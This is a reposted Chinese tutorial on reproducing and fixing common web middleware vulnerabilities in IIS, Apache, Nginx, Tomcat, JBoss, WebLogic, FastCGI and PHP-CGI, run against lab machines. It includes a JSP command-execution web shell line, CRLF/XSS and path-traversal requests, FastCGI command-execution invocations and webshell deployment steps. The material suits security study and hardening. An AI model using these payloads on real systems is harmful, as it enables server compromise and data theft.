1. 程式人生 > 實用技巧 >web常見的中介軟體漏洞及復現

web常見的中介軟體漏洞及復現

一、 常見

(一) IIS

1、PUT漏洞

2、短檔名猜解

3、遠端程式碼執行

4、解析漏洞

(二) Apache

1、解析漏洞

2、目錄遍歷

(三) Nginx

1、檔案解析

2、目錄遍歷

3、CRLF注入

4、目錄穿越

(四)Tomcat

1、遠端程式碼執行

2、war後門檔案部署

(五)jBoss

1、反序列化漏洞

2、war後門檔案部署

(六)WebLogic

1、反序列化漏洞

2、SSRF

3、任意檔案上傳

4、war後門檔案部署

(七)其它中介軟體相關漏洞

1、FastCGI未授權訪問、任意命令執行

2、PHPCGI遠端程式碼執行

二、 IIS漏洞分析

(一) IIS簡介

IIS是Internet Information Services的縮寫,意為網際網路資訊服務,是由微軟公司提供的基於執行Microsoft Windows的網際網路基本服務。最初是Windows NT版本的可選包,隨後內建在Windows 2000、Windows XP Professional和Windows Server 2003一起發行,但在Windows XP Home版本上並沒有IIS。IIS是一種Web(網頁)服務元件,其中包括Web伺服器、FTP伺服器、NNTP伺服器和SMTP伺服器,分別用於網頁瀏覽、檔案傳輸、新聞服務和郵件傳送等方面,它使得在網路(包括網際網路和區域網)上釋出資訊成了一件很容易的事。

IIS的安全脆弱性曾長時間被業內詬病,一旦IIS出現遠端執行漏洞威脅將會非常嚴重。遠端執行程式碼漏洞存在於 HTTP 協議堆疊 (HTTP.sys) 中,當 HTTP.sys 未正確分析經特殊設計的 HTTP 請求時會導致此漏洞。成功利用此漏洞的攻擊者可以在系統帳戶的上下文中執行任意程式碼,可以導致IIS伺服器所在機器藍屏或讀取其記憶體中的機密資料

(二) PUT漏洞

1、漏洞介紹及成因

IIS Server 在 Web 服務擴充套件中開啟了 WebDAV ,配置了可以寫入的許可權,造成任意檔案上傳。

版本: IIS6.0

2、漏洞復現

1) 開啟WebDAV 和寫許可權

2) 利用burp測試

抓包,將GET請求改為OPTIONS

3)利用工具進行測試

成功上傳,再上傳一句話木馬,然後用菜刀連線,getshell

3、漏洞修復

關閉WebDAV 和寫許可權

(二)短檔名猜解

1、漏洞介紹及成因

IIS的短檔名機制,可以暴力猜解短檔名,訪問構造的某個存在的短檔名,會返回404,訪問構造的某個不存在的短檔名,返回400。

2、漏洞復現

1)、在網站根目錄下新增aaaaaaaaaa.html檔案

3) 進行猜解

3、漏洞修復

修復方法:

1)升級.net framework

2)修改登錄檔禁用短檔名功能

快捷鍵Win+R開啟命令視窗,輸入regedit開啟登錄檔視窗,找到路徑:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,將其中的 NtfsDisable8dot3NameCreation這一項的值設為 1,1代表不建立短檔名格式,修改完成後,需要重啟系統生效

3)CMD關閉NTFS 8.3檔案格式的支援

4)將web資料夾的內容拷貝到另一個位置,如c:\www到d:\w,然後刪除原資料夾,再重新命名d:\w到c:\www。

修復後:

4、侷限性

1) 此漏洞只能確定前6個字元,如果後面的字元太長、包含特殊字元,很難猜解;

2) 如果檔名本身太短(無短檔名)也是無法猜解的;

3) 如果檔名前6位帶空格,8.3格式的短檔名會補進,和真實檔名不匹配;

(三) 遠端程式碼執行

1、 漏洞介紹及成因

在IIS6.0處理PROPFIND指令的時候,由於對url的長度沒有進行有效的長度控制和檢查,導致執行memcpy對虛擬路徑進行構造的時候,引發棧溢位,從而導致遠端程式碼執行。

2、 漏洞復現

1)漏洞環境搭建

在windows server 2003 r2 32位上安裝iis6.0

2) 觸發漏洞

在本地執行exp,exp如下

執行成功後,伺服器端彈出計算器:

3、 漏洞修復

1)關閉 WebDAV 服務

2) 使用相關防護裝置

(四) 解析漏洞

1、 漏洞介紹及成因

IIS 6.0 在處理含有特殊符號的檔案路徑時會出現邏輯錯誤,從而造成檔案解析漏洞。這一漏洞有兩種完全不同的利用方式:

/test.asp/test.jpg

test.asp;.jpg

2、漏洞復現

利用方式 1

第一種是新建一個名為 "test.asp" 的目錄,該目錄中的任何檔案都被 IIS 當作 asp 程式執行(特殊符號是 “/” )

利用方式 2

第二種是上傳名為 "test.asp;.jpg" 的檔案,雖然該檔案真正的字尾名是 ".jpg", 但由於含有特殊符號 ";" ,仍會被 IIS 當做 asp 程式執行

IIS7.5 檔案解析漏洞

test.jpg/.php

URL 中檔案字尾是 .php ,便無論該檔案是否存在,都直接交給 php 處理,而 php 又預設開啟 "cgi.fix_pathinfo", 會對檔案進行 “ 修理 ” ,可謂 “ 修理 ” ?舉個例子,當 php 遇到路徑 "/aaa.xxx/bbb.yyy" 時,若 "/aaa.xxx/bbb.yyy" 不存在,則會去掉最後的 “bbb.yyy" ,然後判斷 "/aaa.xxx" 是否存在,若存在,則把 “/aaa.xxx" 當作檔案。

若有檔案 test.jpg ,訪問時在其後加 /.php ,便可以把 "test.jpg/.php" 交給 php , php 修理檔案路徑 "test.jpg/.php" 得到 ”test.jpg" ,該檔案存在,便把該檔案作為 php 程式執行了。

3、 漏洞修復

1)對新建目錄檔名進行過濾,不允許新建包含‘.’的檔案

2)曲線網站後臺新建目錄的功能,不允許新建目錄

3)限制上傳的指令碼執行許可權,不允許執行指令碼

4)過濾.asp/xm.jpg,通過ISApi元件過濾

三、 Apache漏洞分析

(一) Apache簡介

Apache 是世界使用排名第一的Web 伺服器軟體。它可以執行在幾乎所有廣泛使用的 計算機平臺上,由於其 跨平臺 和安全性被廣泛使用,是最流行的Web伺服器端軟體之一。它快速、可靠並且可通過簡單的API擴充,將 Perl/ Python等 直譯器編譯到伺服器中。

(二) 解析漏洞

1、 漏洞介紹及成因

Apache檔案解析漏洞與使用者的配置有密切關係,嚴格來說屬於使用者配置問題。

Apache檔案解析漏洞涉及到一個解析檔案的特性:

Apache預設一個檔案可以有多個以點分隔的字尾,當右邊的字尾無法識別(不在mime.tyoes內),則繼續向左識別,當我們請求這樣一個檔案:shell.xxx.yyy

yyy->無法識別,向左

xxx->無法識別,向左

php->發現字尾是php,交給php處理這個檔案

2、 漏洞復現

上傳一個字尾名為360的php檔案

3、 漏洞修復

將AddHandler application/x-httpd-php .php的配置檔案刪除。

(三) 目錄遍歷

1、 漏洞介紹及成因

由於配置錯誤導致的目錄遍歷

2、 漏洞復現

3、 漏洞修復

修改apache配置檔案httpd.conf

找到Options+Indexes+FollowSymLinks +ExecCGI並修改成 Options-Indexes+FollowSymLinks +ExecCGI 並儲存;

四、 Nginx漏洞分析

(一) Nginx簡介

Nginx 是一款 輕量級的 Web 伺服器、 反向代理 伺服器及 電子郵件(IMAP/POP3)代理伺服器,並在一個BSD-like 協議下發行。其特點是佔有記憶體少, 併發能力強,事實上nginx的併發能力確實在同類型的網頁伺服器中表現較好

(二)檔案解析

1、 漏洞介紹及成因

對任意檔名,在後面新增/任意檔名.php的解析漏洞,比如原本檔名是test.jpg,可以新增test.jpg/x.php進行解析攻擊。

2、 漏洞復現

在網站根目錄下新建一個i.gif的檔案,在裡面寫入phpinfo()

在瀏覽器中開啟

利用檔案解析漏洞,輸入192.168.139.129:100/i.gif.2.php,發現無法解析

將/etc/php5/fpm/pool.d/www.conf中security.limit_extensions = .php中的.php刪除

再次在瀏覽器中開啟,成功解析

3、 漏洞修復

1) 將php.ini檔案中的cgi.fix_pathinfo的值設為0.這樣php在解析1.php/1.jpg這樣的目錄時,只要1.jpg不存在就會顯示404;

2) 將/etc/php5/fpm/pool.d/www.conf中security.limit_ectensions後面的值設為.php

(三)目錄遍歷

1、 漏洞簡介及成因

Nginx的目錄遍歷與Apache一樣,屬於配置方面的問題,錯誤的配置可到導致目錄遍歷與原始碼洩露‘

2、 漏洞復現

開啟test目錄,發現無法開啟

修改/etc/nginx/sites-avaliable/default,在如下圖所示的位置新增autoindex on

再次訪問

3、 漏洞修復

將/etc/nginx/sites-avaliable/default裡的autoindex on改為autoindex off

(四) CRLF注入

1、 漏洞簡介及成因

CRLF時“回車+換行”(\r\n)的簡稱。

HTTP Header與HTTP Body時用兩個CRLF分隔的,瀏覽器根據兩個CRLF來取出HTTP內容並顯示出來。

通過控制HTTP訊息頭中的字元,注入一些惡意的換行,就能注入一些會話cookie或者html程式碼,由於Nginx配置不正確,導致注入的程式碼會被執行。

2、 漏洞復現

訪問頁面,抓包

請求加上/%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

由於頁面重定向,並沒有彈窗。

3、 漏洞修復

Nginx的配置檔案/etc/nginx/conf.d/error1.conf修改為使用不解碼的url跳轉。

(五) 目錄穿越

1、 漏洞簡介及成因

Nginx反向代理,靜態檔案儲存在/home/下,而訪問時需要在url中輸入files,配置檔案中/files沒有用/閉合,導致可以穿越至上層目錄。

2、 漏洞復現

訪問:http://192.168.139.128:8081/files/

訪問:http://192.168.139.128:8081/files../

成功實現目錄穿越:

3、 漏洞修復

Nginx的配置檔案/etc/nginx/conf.d/error2.conf的/files使用/閉合。

五、 Tomcat漏洞分析

(一) Tomcat簡介

Tomcat 伺服器是一個免費的開放原始碼的Web 應用伺服器,屬於輕量級應用 伺服器,在中小型系統和併發訪問使用者不是很多的場合下被普遍使用,是開發和除錯JSP 程式的首選。對於一個初學者來說,可以這樣認為,當在一臺機器上配置好Apache 伺服器,可利用它響應 HTML ( 標準通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 伺服器的擴充套件,但執行時它是獨立執行的,所以當執行tomcat 時,它實際上作為一個與Apache 獨立的程序單獨執行的。

(二) 遠端程式碼執行

1、 漏洞簡介及成因

Tomcat 執行在Windows 主機上,且啟用了 HTTP PUT 請求方法,可通過構造的攻擊請求向伺服器上傳包含任意程式碼的 JSP 檔案,造成任意程式碼執行。

影響版本: Apache Tomcat 7.0.0 – 7.0.81

2、 漏洞復現

配置漏洞,開啟put方法可上傳檔案功能。

tomcat資料夾下的/conf/web.xml檔案插入:

<init-param>

<param-name>readonly</param-name>

<param-value>false</param-value>

</init-param>

重啟tomcat服務。

訪問127.0.0.1:8080,burp抓包,send to Repeater,將請求方式改為PUT,建立一個122.jsp,並用%20轉義空格字元。123.jsp內容為:

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

返回201,說明建立成功。

訪問127.0.0.1:8080/122.jsp?cmd=calc。

彈出計算器:

3、 漏洞修復

1)檢測當前版本是否在影響範圍內,並禁用PUT方法。

2)更新並升級至最新版。

(三)war後門檔案部署

1、漏洞簡介及成因

Tomcat 支援在後臺部署war檔案,可以直接將webshell部署到web目錄下。

若後臺管理頁面存在弱口令,則可以通過爆破獲取密碼。

2、漏洞復現

Tomcat安裝目錄下conf裡的tomcat-users.xml配置如下:

訪問後臺,登陸:

上傳一個war包,裡面是jsp後門:

成功上傳並解析,開啟:

可執行系統命令:

也可進行檔案管理,任意檢視、刪除、上傳檔案:

3、漏洞修復

1)在系統上以低許可權執行Tomcat應用程式。建立一個專門的 Tomcat服務使用者,該使用者只能擁有一組最小許可權(例如不允許遠端登入)。

2)增加對於本地和基於證書的身份驗證,部署賬戶鎖定機制(對於集中式認證,目錄服務也要做相應配置)。在CATALINA_HOME/conf/web.xml檔案設定鎖定機制和時間超時限制。

3)以及針對manager-gui/manager-status/manager-script等目錄頁面設定最小許可權訪問限制。

4)後臺管理避免弱口令。

六、 jBoss漏洞分析

(一) jBoss簡介

jBoss是一個基於J2EE的開發原始碼的應用伺服器。 JBoss程式碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和伺服器,支援EJB1.1、EJB 2.0和EJB3的規範。但JBoss核心服務不包括支援servlet/JSP的WEB容器,一般與Tomcat或Jetty繫結使用。

(二) 反序列化漏洞

1、 漏洞介紹及成因

Java序列化,簡而言之就是把java物件轉化為位元組序列的過程。而反序列話則是再把位元組序列恢復為java物件的過程,然而就在這一轉一變得過程中,程式設計師的過濾不嚴格,就可以導致惡意構造的程式碼的實現。

2、 漏洞復現

靶機啟動jboss。

攻擊機訪問靶機服務:

訪問/invoker/readonly。

返回500,說明頁面存在,此頁面有反序列化漏洞:

抓包:

改包。

POST payload.bin中資料。

檢視靶機,彈出計算器。

3、 漏洞修復

有效解決方案:升級到JBOSS AS7版本臨時解決方案:

1)不需要http-invoker.sar 元件的使用者可直接刪除此元件;

2)用於對 httpinvoker 元件進行訪問控制。

(三) war後門檔案部署

1、 漏洞介紹及成因

jBoss後臺管理頁面存在弱口令,通過爆破獲得賬號密碼。登陸後臺上傳包含後門的war包。

2、 漏洞復現

點選Web Application(war)s。

點選add a new resource。

選擇一個war包上傳,上傳後,進入該war包,點選start。

檢視status為sucessful。

訪問該war包頁面,進入後門。

可進行檔案管理和系統命令執行。

七、 WebLogic漏洞分析

(一) WebLogic簡介

WebLogic是美國Oracle公司出品的一個applicationserver,確切的說是一個基於JAVAEE架構的中介軟體,WebLogic是用於開發、整合、部署和管理大型分散式Web應用、網路應用和資料庫應用的Java應用伺服器。將Java的動態功能和Java Enterprise標準的安全性引入大型網路應用的開發、整合、部署和管理之中。

(二) 反序列化漏洞

1、 漏洞簡介及成因

Java序列化,簡而言之就是把java物件轉化為位元組序列的過程。而反序列話則是再把位元組序列恢復為java物件的過程,然而就在這一轉一變得過程中,程式設計師的過濾不嚴格,就可以導致惡意構造的程式碼的實現。

2、漏洞復現

使用vulhub實驗環境,啟動實驗環境,訪問靶機,抓包,修改資料包。

Kali啟動監聽。

傳送資料包成功後,拿到shell。

3、漏洞修復

1)升級Oracle 10月份補丁。

2)對訪問wls-wsat的資源進行訪問控制。

(三) SSRF

1、 漏洞簡介及成因

Weblogic 中存在一個SSRF漏洞,利用該漏洞可以傳送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱元件。

2、 漏洞復現

使用vulhub實驗環境,啟動環境。

訪問http://192.168.139.129:7001/uddiexplorer/SearchPublicRegistries.jsp

用burp抓包,修改請求。

啟動nc監聽2222埠。

拿到shell。

3、 漏洞修復

方法一:

以修復的直接方法是將SearchPublicRegistries.jsp直接刪除就好了;

方法二:

1)刪除uddiexplorer資料夾

2)限制uddiexplorer應用只能內網訪問

方法三:(常用)

Weblogic服務端請求偽造漏洞出現在uddi元件(所以安裝Weblogic時如果沒有選擇uddi元件那麼就不會有該漏洞),更準確地說是uudi包實現包uddiexplorer.war下的SearchPublicRegistries.jsp。方法二採用的是改後輟的方式,修復步驟如下:

1)將weblogic安裝目錄下的wlserver_10.3/server/lib/uddiexplorer.war做好備份

2)將weblogic安裝目錄下的server/lib/uddiexplorer.war下載

3)用winrar等工具開啟uddiexplorer.war

4)將其下的SearchPublicRegistries.jsp重新命名為SearchPublicRegistries.jspx

5)儲存後上傳回服務端替換原先的uddiexplorer.war

6)對於多臺主機組成的叢集,針對每臺主機都要做這樣的操作

7)由於每個server的tmp目錄下都有快取所以修改後要徹底重啟weblogic(即停應用--停server--停控制檯--啟控制檯--啟server--啟應用)

(四) 任意檔案上傳

1、 漏洞簡介及成因

通過訪問config.do配置頁面,先更改Work Home工作目錄,用有效的已部署的Web應用目錄替換預設的儲存JKS Keystores檔案的目錄,之後使用"新增Keystore設定"的功能,可上傳惡意的JSP指令碼檔案。

2、 漏洞復現

訪問http://192.168.139.129:7001/ws_utc/config.do

設定Work Home Dir為`/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css`。

然後點選安全 -> 增加,然後上傳 webshell ,這裡我上傳一個 jsp 大馬。

上傳後,檢視返回的資料包,其中有時間戳:

可以看到時間戳為1543145154632。

訪問http://192.168.139.129:7001/ws_utc/css/config/keystore/1543145154632_lele.jsp

可以進行檔案管理、檔案上傳、系統命令執行等。

嘗試以下執行系統命令。

命令執行成功。

3、 漏洞修復

方案1:

使用Oracle官方通告中的補丁連結:

http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html

https://support.oracle.com/rs?type=doc&id=2394520.1

方案2:

1)進入Weblogic Server管理控制檯;

2)domain設定中,啟用”生產模式”。

(五) war後門檔案部署

1、 漏洞簡介及成因

由於WebLogic後臺存在弱口令,可直接登陸後臺上傳包含後門的war包。

2、 漏洞復現

訪問http://192.168.139.129:7001/console

使用弱口令登陸至後臺。

點選鎖定並編輯。

選擇部署,進一步點選右邊的安裝。

點選上傳檔案 -- 進入檔案上傳介面,選擇要上傳的 war 包。

進入下一步,選擇對應的 war 包進行部署,下一步下一步直至完成。

點選啟用更改。

啟動上傳的 war 包所生成的服務。

拿到 webshell。

3、 漏洞修復

防火牆設定埠過濾,也可以設定只允許訪問後臺的IP列表,避免後臺弱口令。

八、 其它中介軟體相關漏洞

(一) FastCGI未授權訪問、任意命令執行

1、 漏洞簡介及成因

服務端使用fastcgi協議並對外網開放9000埠,可以構造fastcgi協議包內容,實現未授權訪問服務端.php檔案以及執行任意命令。

2、 漏洞復現

使用vulhub實驗環境,啟動實驗環境。

在攻擊機使用命令python fpm.py 192.168.237.136 /etc/passwd,觀察返回結果。

由於訪問非*.PHP檔案,所以返回結果403。

使用命令執行一個預設存在的 php 檔案。

python fpm.py 192.168.237.136 /usr/local/lib/php/PEAR.php

利用命令進行任意命令執行復現。

python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `pwd`; ?>'

python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `ifconfig`; ?>'

python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `ls`; ?>'

3、 漏洞修復

更改預設埠

(二) PHPCGI遠端程式碼執行

1、 漏洞簡介及成因

在apache呼叫php直譯器解釋.php檔案時,會將url引數傳我給php直譯器,如果在url後加傳命令列開關(例如-s、-d 、-c或-dauto_prepend_file%3d/etc/passwd+-n)等引數時,會導致原始碼洩露和任意程式碼執行。

此漏洞影響php-5.3.12以前的版本,mod方式、fpm方式不受影響。

2、 漏洞復現

使用vulhub實驗環境,啟動環境。

訪問http://192.168.139.129:8080/index.php

抓包,修改包。

命令成功執行。

3、 漏洞修復

三種方法:

1)升級php版本;(php-5.3.12以上版本);

2)在apache上做文章,開啟url過濾,把危險的命令列引數給過濾掉,由於這種方法修補比較簡單,採用比較多吧。

具體做法:

修改http.conf檔案,找到<Directory/>增加以下三行

RewriteEngine on

RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]

RewriteRule ^(.*) $1? [L]

重啟一下apache即可,但是要考慮到,相當於每次request就要進行一次url過濾,如果訪問量大的話,可能會增加apache的負擔。

3)打上php補丁。

補丁下載地址:https://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

備註:文章乃轉載學習用,侵權聯絡刪